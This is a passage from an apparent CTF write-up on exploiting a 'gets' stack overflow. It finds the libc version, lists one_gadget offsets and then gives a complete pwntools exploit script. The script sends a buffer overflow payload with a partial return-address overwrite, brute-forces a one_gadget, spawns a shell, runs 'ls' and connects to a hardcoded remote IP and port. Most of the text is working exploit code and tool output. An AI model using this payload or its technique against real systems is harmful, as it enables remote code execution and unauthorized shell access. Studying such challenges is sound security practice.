We use (cfree+0x4c)[0x7f57b6f9253c] to finally locate the libc version as 2.23

Find onegadget as follows:

➜  gets one_gadget /lib/x86_64-linux-gnu/libc.so.6
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

Put the complete exp:

from pwn import *
context.terminal = ['tmux', 'split', '-h']
#context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
if args['DEBUG']:
    context.log_level = 'debug'
elfpath = './gets'
context.binary = elfpath

elf = ELF(elfpath)
bits = elf.bits


def exp(ip, port):
    for i in range(0x1000):
        if args['REMOTE']:
            p = remote(ip, port)
        else:
            p = process(elfpath, timeout=2)
        # gdb.attach(p)
        try:
            payload = 0x18 * 'a' + p64(0x40059B)
            for _ in range(2):
                payload += 'a' * 8 * 5 + p64(0x40059B)
            payload += 'a' * 8 * 5 + '\x16\02'
            p.sendline(payload)

            p.sendline('ls')
            data = p.recv()
            print data
            p.interactive()
            p.close()
        except Exception:
            p.close()
            continue


if __name__ == "__main__":
    exp('106.75.4.189', 35273)

Keywords: Linux Cyber Security pwn TCP/IP

Added by beckjo1 on Tue, 05 Oct 2021 01:44:29 +0300